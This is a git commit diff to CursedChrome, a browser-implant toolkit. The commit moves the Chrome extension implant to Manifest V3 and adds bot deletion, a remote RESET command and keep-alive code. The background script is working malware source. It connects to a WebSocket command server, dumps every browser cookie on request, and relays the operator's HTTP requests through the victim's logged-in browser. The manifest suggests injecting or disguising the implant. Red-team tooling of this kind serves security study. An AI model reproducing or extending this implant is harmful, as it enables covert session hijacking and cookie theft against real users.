This commit is contained in:
mandatory
2024-10-26 14:41:45 -04:00
parent 17b0031ef9
commit e7e9c1a192
6 changed files with 233 additions and 104 deletions
+27
View File
@@ -166,6 +166,33 @@ async function get_api_server(proxy_utils) {
}).end(); }).end();
}); });
/*
Delete a bot
*/
const DeleteBotSchema = {
type: 'object',
properties: {
bot_id: {
type: 'string',
required: true,
pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}'
},
}
}
app.delete(API_BASE_PATH + '/bots', validate({ body: DeleteBotSchema }), async (req, res) => {
const bot = await Bots.findOne({
where: {
id: req.body.bot_id
}
});
await bot.destroy();
res.status(200).json({
"success": true,
"result": {}
}).end();
});
/* /*
Get list of bots Get list of bots
*/ */
+1 -1
View File
@@ -1,4 +1,3 @@
version: '3.2'
services: services:
redis: redis:
image: "redis:alpine" image: "redis:alpine"
@@ -26,6 +25,7 @@ services:
# Number of bcrypt rounds for # Number of bcrypt rounds for
# storing admin panel passwords. # storing admin panel passwords.
BCRYPT_ROUNDS: 10 BCRYPT_ROUNDS: 10
DEBUGGING: "yes"
ports: ports:
- "127.0.0.1:8080:8080" # Proxy server - "127.0.0.1:8080:8080" # Proxy server
- "127.0.0.1:4343:4343" # WebSocket server (talks with implants) - "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
+10 -10
View File
@@ -1,7 +1,7 @@
{ {
"name": "CursedChrome Implant", "name": "CursedChrome Implant",
"version": "0.0.1", "version": "0.0.2",
"manifest_version": 2, "manifest_version": 3,
"description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.", "description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.",
"homepage_url": "https://thehackerblog.com", "homepage_url": "https://thehackerblog.com",
"icons": { "icons": {
@@ -11,15 +11,15 @@
}, },
"default_locale": "en", "default_locale": "en",
"background": { "background": {
"scripts": [ "service_worker": "src/bg/background.js"
"src/bg/background.js"
],
"persistent": true
}, },
"permissions": [ "permissions": [
"webRequest", "webRequest",
"webRequestBlocking", "cookies",
"<all_urls>", "storage",
"cookies" "declarativeNetRequest"
],
"host_permissions": [
"<all_urls>"
] ]
} }
+125 -69
View File
@@ -22,30 +22,41 @@ const REQUEST_HEADER_BLACKLIST = [
const RPC_CALL_TABLE = { const RPC_CALL_TABLE = {
'HTTP_REQUEST': perform_http_request, 'HTTP_REQUEST': perform_http_request,
'PONG': () => {}, // NOP, since timestamp is updated on inbound message. 'PONG': () => { }, // NOP, since timestamp is updated on inbound message.
'AUTH': authenticate, 'AUTH': authenticate,
'GET_COOKIES': get_cookies, 'GET_COOKIES': get_cookies,
'RESET': reset,
}; };
async function reset(params) {
// We've been reset, clear local identifier and reconnect
await chrome.storage.local.clear();
websocket.close();
websocket = false;
initialize();
return false;
}
/* /*
Return an array of cookies for the current cookie store. Return an array of cookies for the current cookie store.
*/ */
async function get_cookies(params) { async function get_cookies(params) {
// If the "cookies" permission is not available // If the "cookies" permission is not available
// just return an empty array. // just return an empty array.
if(!chrome.cookies) { if (!chrome.cookies) {
return []; return [];
} }
return getallcookies({}); return getallcookies({});
} }
function getallcookies(details) { function getallcookies(details) {
return new Promise(function(resolve, reject) { return new Promise(function (resolve, reject) {
try { try {
chrome.cookies.getAll(details, function(cookies_array) { chrome.cookies.getAll(details, function (cookies_array) {
resolve(cookies_array); resolve(cookies_array);
}); });
} catch(e) { } catch (e) {
reject(e); reject(e);
} }
}); });
@@ -53,16 +64,15 @@ function getallcookies(details) {
async function authenticate(params) { async function authenticate(params) {
// Check for a previously-set browser identifier. // Check for a previously-set browser identifier.
var browser_id = localStorage.getItem('browser_id'); const browser_id_obj = await chrome.storage.local.get(['browser_id']);
// If no browser ID is already set we generate a // If no browser ID is already set we generate a
// new one and return it to the server. // new one and return it to the server.
if(browser_id === null) { if (browser_id_obj === null || !('browser_id' in browser_id_obj)) {
browser_id = uuidv4(); browser_id = uuidv4();
localStorage.setItem( await chrome.storage.local.set({
'browser_id', 'browser_id': browser_id
browser_id });
);
} }
/* /*
@@ -70,7 +80,7 @@ async function authenticate(params) {
some metadata about the instance. some metadata about the instance.
*/ */
return { return {
'browser_id': browser_id, 'browser_id': browser_id_obj.browser_id,
'user_agent': navigator.userAgent, 'user_agent': navigator.userAgent,
'timestamp': get_unix_timestamp() 'timestamp': get_unix_timestamp()
} }
@@ -79,16 +89,16 @@ async function authenticate(params) {
function get_secure_random_token(bytes_length) { function get_secure_random_token(bytes_length) {
const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let array = new Uint8Array(bytes_length); let array = new Uint8Array(bytes_length);
window.crypto.getRandomValues(array); crypto.getRandomValues(array);
array = array.map(x => validChars.charCodeAt(x % validChars.length)); array = array.map(x => validChars.charCodeAt(x % validChars.length));
const random_string = String.fromCharCode.apply(null, array); const random_string = String.fromCharCode.apply(null, array);
return random_string; return random_string;
} }
function uuidv4() { function uuidv4() {
return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c => return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16) (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
); );
} }
function arrayBufferToBase64(buffer) { function arrayBufferToBase64(buffer) {
@@ -98,7 +108,7 @@ function arrayBufferToBase64(buffer) {
for (var i = 0; i < len; i++) { for (var i = 0; i < len; i++) {
binary += String.fromCharCode(bytes[i]); binary += String.fromCharCode(bytes[i]);
} }
return window.btoa(binary); return btoa(binary);
} }
function get_unix_timestamp() { function get_unix_timestamp() {
@@ -240,7 +250,7 @@ async function perform_http_request(params) {
const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`; const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`;
// Handler 301, 302, 307 edge case // Handler 301, 302, 307 edge case
if(response.url.startsWith(redirect_hack_url_prefix)) { if (response.url.startsWith(redirect_hack_url_prefix)) {
var response_metadata_string = decodeURIComponent(response.url); var response_metadata_string = decodeURIComponent(response.url);
response_metadata_string = response_metadata_string.replace( response_metadata_string = response_metadata_string.replace(
redirect_hack_url_prefix, redirect_hack_url_prefix,
@@ -300,11 +310,10 @@ function initialize() {
// snitch don't alert on a new port connection from Chrome). // snitch don't alert on a new port connection from Chrome).
websocket = new WebSocket("ws://127.0.0.1:4343"); websocket = new WebSocket("ws://127.0.0.1:4343");
websocket.onopen = function(e) { websocket.onopen = function (e) {
//websocket.send("My name is John");
}; };
websocket.onmessage = async function(event) { websocket.onmessage = async function (event) {
// Update last live connection timestamp // Update last live connection timestamp
last_live_connection_timestamp = get_unix_timestamp(); last_live_connection_timestamp = get_unix_timestamp();
@@ -320,6 +329,9 @@ function initialize() {
if (parsed_message.action in RPC_CALL_TABLE) { if (parsed_message.action in RPC_CALL_TABLE) {
const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data); const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data);
if (result === false) {
return;
}
websocket.send( websocket.send(
JSON.stringify({ JSON.stringify({
// Use same ID so it can be correlated with the response // Use same ID so it can be correlated with the response
@@ -333,7 +345,7 @@ function initialize() {
} }
}; };
websocket.onclose = function(event) { websocket.onclose = function (event) {
if (event.wasClean) { if (event.wasClean) {
console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`); console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
} else { } else {
@@ -343,7 +355,7 @@ function initialize() {
} }
}; };
websocket.onerror = function(error) { websocket.onerror = function (error) {
console.log(`[error] ${error.message}`); console.log(`[error] ${error.message}`);
}; };
} }
@@ -372,9 +384,9 @@ Additionally, for defense in depth, nothing that isn't initiated by the Chrome e
is actually processed. is actually processed.
*/ */
chrome.webRequest.onBeforeSendHeaders.addListener( chrome.webRequest.onBeforeSendHeaders.addListener(
function(details) { function (details) {
// Ensure we only process requests done by the Chrome extension // Ensure we only process requests done by the Chrome extension
if(details.initiator !== location.origin.toString()) { if (details.initiator !== location.origin.toString()) {
return return
} }
@@ -382,54 +394,54 @@ chrome.webRequest.onBeforeSendHeaders.addListener(
var header_keys_to_delete = []; var header_keys_to_delete = [];
var headers_to_append = []; var headers_to_append = [];
details.requestHeaders.map(requestHeader => { details.requestHeaders.map(requestHeader => {
if(requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) { if (requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
has_header_secret = true; has_header_secret = true;
header_keys_to_delete.push('X-PLACEHOLDER-SECRET'); header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
} }
}); });
// If there's no secret header set with the // If there's no secret header set with the
// proper secret then quit out the proxy replacement. // proper secret then quit out the proxy replacement.
if(!has_header_secret) { if (!has_header_secret) {
return { return {
cancel: false cancel: false
}; };
} }
// Get headers to remove and headers to append // Get headers to remove and headers to append
details.requestHeaders.map(requestHeader => { details.requestHeaders.map(requestHeader => {
if(!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) { if (!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
header_keys_to_delete.push(requestHeader.name); header_keys_to_delete.push(requestHeader.name);
// Skip the header if it's in the blacklist (e.g. Cookie) // Skip the header if it's in the blacklist (e.g. Cookie)
if(REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) { if (REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
return return
} }
headers_to_append.push({ headers_to_append.push({
'name': requestHeader.name.replace('X-PLACEHOLDER-', ''), 'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
'value': requestHeader.value 'value': requestHeader.value
}) })
} }
}); });
// Remove headers // Remove headers
details.requestHeaders = details.requestHeaders.filter(requestHeader => { details.requestHeaders = details.requestHeaders.filter(requestHeader => {
return !header_keys_to_delete.includes(requestHeader.name); return !header_keys_to_delete.includes(requestHeader.name);
}); });
// Add appended headers // Add appended headers
details.requestHeaders = details.requestHeaders.concat( details.requestHeaders = details.requestHeaders.concat(
headers_to_append headers_to_append
); );
return { return {
requestHeaders: details.requestHeaders requestHeaders: details.requestHeaders
}; };
}, { }, {
urls: ["<all_urls>"] urls: ["<all_urls>"]
}, ["blocking", "requestHeaders", "extraHeaders"] }, ["requestHeaders", "extraHeaders"]
); );
@@ -439,29 +451,29 @@ const REDIRECT_STATUS_CODES = [
307 307
]; ];
chrome.webRequest.onHeadersReceived.addListener(function(details) { chrome.webRequest.onHeadersReceived.addListener(function (details) {
// Ensure we only process requests done by the Chrome extension // Ensure we only process requests done by the Chrome extension
if(details.initiator !== location.origin.toString()) { if (details.initiator !== location.origin.toString()) {
return return
} }
// Rewrite Set-Cookie to expose it in fetch() // Rewrite Set-Cookie to expose it in fetch()
var cookies = [] var cookies = []
details.responseHeaders.map(responseHeader => { details.responseHeaders.map(responseHeader => {
if(responseHeader.name.toLowerCase() === 'set-cookie') { if (responseHeader.name.toLowerCase() === 'set-cookie') {
cookies.push(responseHeader.value); cookies.push(responseHeader.value);
} }
}); });
if (cookies.length != 0) { if (cookies.length != 0) {
details.responseHeaders.push({ details.responseHeaders.push({
'name': 'X-Set-Cookie', 'name': 'X-Set-Cookie',
// We pack array of cookies into string and depack later. // We pack array of cookies into string and depack later.
// Otherwise multiple Set-Cookie headers would be merged together. // Otherwise multiple Set-Cookie headers would be merged together.
'value': JSON.stringify(cookies) 'value': JSON.stringify(cookies)
}); });
} }
if(!REDIRECT_STATUS_CODES.includes(details.statusCode)) { if (!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
return { return {
responseHeaders: details.responseHeaders responseHeaders: details.responseHeaders
} }
@@ -480,4 +492,48 @@ chrome.webRequest.onHeadersReceived.addListener(function(details) {
}; };
}, { }, {
urls: ["<all_urls>"] urls: ["<all_urls>"]
}, ["blocking", "responseHeaders", "extraHeaders"]); }, ["responseHeaders", "extraHeaders"]);
(async () => {
// From https://developer.chrome.com/docs/extensions/develop/migrate/to-service-workers#keep_a_service_worker_alive_continuously
/**
* Tracks when a service worker was last alive and extends the service worker
* lifetime by writing the current time to extension storage every 20 seconds.
* You should still prepare for unexpected termination - for example, if the
* extension process crashes or your extension is manually stopped at
* chrome://serviceworker-internals.
*/
let heartbeatInterval;
async function runHeartbeat() {
await chrome.storage.local.set({ 'last-heartbeat': new Date().getTime() });
}
/**
* Starts the heartbeat interval which keeps the service worker alive. Call
* this sparingly when you are doing work which requires persistence, and call
* stopHeartbeat once that work is complete.
*/
async function startHeartbeat() {
// Run the heartbeat once at service worker startup.
runHeartbeat().then(() => {
// Then again every 20 seconds.
heartbeatInterval = setInterval(runHeartbeat, 20 * 1000);
});
}
async function stopHeartbeat() {
clearInterval(heartbeatInterval);
}
/**
* Returns the last heartbeat stored in extension storage, or undefined if
* the heartbeat has never run before.
*/
async function getLastHeartbeat() {
return (await chrome.storage.local.get('last-heartbeat'))['last-heartbeat'];
}
await startHeartbeat();
})();
+17
View File
@@ -165,6 +165,12 @@
<font-awesome-icon :icon="['fas', 'edit']" class="icon alt mr-1 ml-1" /> Rename <font-awesome-icon :icon="['fas', 'edit']" class="icon alt mr-1 ml-1" /> Rename
</b-button> </b-button>
</div> </div>
<hr />
<div class="input-group">
<b-button variant="danger" v-on:click="delete_bot">
<font-awesome-icon :icon="['fas', 'delete']" class="icon alt mr-1 ml-1" /> Delete Bot
</b-button>
</div>
</b-modal> </b-modal>
</div> </div>
<!-- Update user password modal --> <!-- Update user password modal -->
@@ -284,6 +290,17 @@ export default {
this.user.password_should_be_changed = login_result.password_should_be_changed; this.user.password_should_be_changed = login_result.password_should_be_changed;
}, },
async delete_bot() {
await api_request(
'DELETE',
'/bots', {
'bot_id': this.options_selected_bot.id
}
);
this.$toastr.s('Bot deleted succesfully.');
this.$bvModal.hide('bot_options_modal');
this.refresh_bots();
},
async update_bot_name() { async update_bot_name() {
await api_request( await api_request(
'PUT', 'PUT',
+53 -24
View File
@@ -4,6 +4,7 @@ const cluster = require('cluster');
const WebSocket = require('ws'); const WebSocket = require('ws');
const https = require('https'); const https = require('https');
const redis = require("redis"); const redis = require("redis");
const http = require('http');
const uuid = require('uuid'); const uuid = require('uuid');
const util = require('util'); const util = require('util');
const fs = require('fs'); const fs = require('fs');
@@ -33,7 +34,7 @@ const numCPUs = require('os').cpus().length;
const PROXY_PORT = process.env.PROXY_PORT || 8080; const PROXY_PORT = process.env.PROXY_PORT || 8080;
const WS_PORT = process.env.WS_PORT || 4343; const WS_PORT = process.env.WS_PORT || 4343;
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118; const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
const SERVER_VERSION = '1.0.0'; const SERVER_VERSION = '1.0.1';
const RPC_CALL_TABLE = { const RPC_CALL_TABLE = {
'PING': ping, 'PING': ping,
@@ -46,6 +47,31 @@ const REQUEST_TABLE = new NodeCache({
}); });
async function ping(websocket_connection, params) { async function ping(websocket_connection, params) {
// Update bot as online
const bot = await Bots.findOne({
where: {
browser_id: websocket_connection.browser_id
}
});
if (!bot) {
websocket_connection.send(
JSON.stringify({
'id': uuid.v4(),
'version': SERVER_VERSION,
'action': 'RESET',
'data': {}
})
)
return
}
await bot.update({
is_online: true,
});
// Send PONG message back // Send PONG message back
websocket_connection.send( websocket_connection.send(
JSON.stringify({ JSON.stringify({
@@ -55,16 +81,6 @@ async function ping(websocket_connection, params) {
'data': {} 'data': {}
}) })
) )
// Update bot as online
const bot = await Bots.findOne({
where: {
browser_id: websocket_connection.browser_id
}
});
await bot.update({
is_online: true,
});
} }
function get_browser_proxy(input_browser_id) { function get_browser_proxy(input_browser_id) {
@@ -79,9 +95,9 @@ function get_browser_proxy(input_browser_id) {
} }
function authenticate_client(websocket_connection) { function authenticate_client(websocket_connection) {
return new Promise(function(resolve, reject) { return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds. // For timeout, will reject if no response in 30 seconds.
setTimeout(function() { setTimeout(function () {
reject(`A timeout occurred when authenticating WebSocket client.`); reject(`A timeout occurred when authenticating WebSocket client.`);
}, (30 * 1000)); }, (30 * 1000));
@@ -109,9 +125,9 @@ function authenticate_client(websocket_connection) {
} }
function get_browser_cookie_array(browser_id) { function get_browser_cookie_array(browser_id) {
return new Promise(function(resolve, reject) { return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds. // For timeout, will reject if no response in 30 seconds.
setTimeout(function() { setTimeout(function () {
reject(`Get cookies RPC called timed out.`); reject(`Get cookies RPC called timed out.`);
}, (30 * 1000)); }, (30 * 1000));
@@ -149,9 +165,9 @@ function get_browser_cookie_array(browser_id) {
} }
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) { function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
return new Promise(function(resolve, reject) { return new Promise(function (resolve, reject) {
// For timeout, will reject if no response in 30 seconds. // For timeout, will reject if no response in 30 seconds.
setTimeout(function() { setTimeout(function () {
reject(`Request Timed Out for URL ${url}!`); reject(`Request Timed Out for URL ${url}!`);
}, (30 * 1000)); }, (30 * 1000));
@@ -248,7 +264,7 @@ async function get_authentication_status(inputRequestDetail) {
// If we already have this cached we can stop here. // If we already have this cached we can stop here.
const credential_data_string = await getAsync(memory_cache_key); const credential_data_string = await getAsync(memory_cache_key);
if(credential_data_string) { if (credential_data_string) {
const cached_record = JSON.parse(credential_data_string); const cached_record = JSON.parse(credential_data_string);
return { return {
'id': cached_record.id, 'id': cached_record.id,
@@ -274,7 +290,7 @@ async function get_authentication_status(inputRequestDetail) {
// No need to wait for this to resolve // No need to wait for this to resolve
await setexAsync( await setexAsync(
memory_cache_key, memory_cache_key,
( 60 * 10 ), (60 * 10),
JSON.stringify(browserproxy_record), JSON.stringify(browserproxy_record),
); );
@@ -355,7 +371,7 @@ const options = {
//throttle: 10000, //throttle: 10000,
forceProxyHttps: true, forceProxyHttps: true,
wsIntercept: false, wsIntercept: false,
silent: true silent: !(process.env.DEBUGGING === "yes")
}; };
async function initialize_new_browser_connection(ws) { async function initialize_new_browser_connection(ws) {
@@ -432,7 +448,7 @@ async function initialize() {
redis_client = redis.createClient({ redis_client = redis.createClient({
"host": process.env.REDIS_HOST, "host": process.env.REDIS_HOST,
}); });
redis_client.on("error", function(error) { redis_client.on("error", function (error) {
logit(`Redis client encountered an error:`); logit(`Redis client encountered an error:`);
console.error(error); console.error(error);
}); });
@@ -449,12 +465,12 @@ async function initialize() {
delAsync = util.promisify(redis_client.del).bind(redis_client); delAsync = util.promisify(redis_client.del).bind(redis_client);
// Called when a new redis subscription is added // Called when a new redis subscription is added
subscriber.on("subscribe", function(channel, count) { subscriber.on("subscribe", function (channel, count) {
//logit(`New subscription created for channel ${channel}, bring total to ${count}.`); //logit(`New subscription created for channel ${channel}, bring total to ${count}.`);
}); });
// Called when a new message is written to a channel // Called when a new message is written to a channel
subscriber.on("message", function(channel, message) { subscriber.on("message", function (channel, message) {
//logit(`Received a new message at channel '${channel}', message is '${message}'`); //logit(`Received a new message at channel '${channel}', message is '${message}'`);
// For messages being sent to the browser from the proxy // For messages being sent to the browser from the proxy
@@ -495,8 +511,21 @@ async function initialize() {
} }
}); });
// Build HTTP server first and pass to WS server
// This is a forward-looking change so versioning doesn't
// become a clusterfuck with addon tools for the server.
const http_server = http.createServer(function (req, res) {
res.writeHead(200, {
'Content-Type': 'text/plain',
'CC-Server-Version': SERVER_VERSION,
});
res.write('');
res.end();
}).listen(WS_PORT);
wss = new WebSocket.Server({ wss = new WebSocket.Server({
port: WS_PORT server: http_server
// port: WS_PORT
}); });
wss.on('connection', async function connection(ws) { wss.on('connection', async function connection(ws) {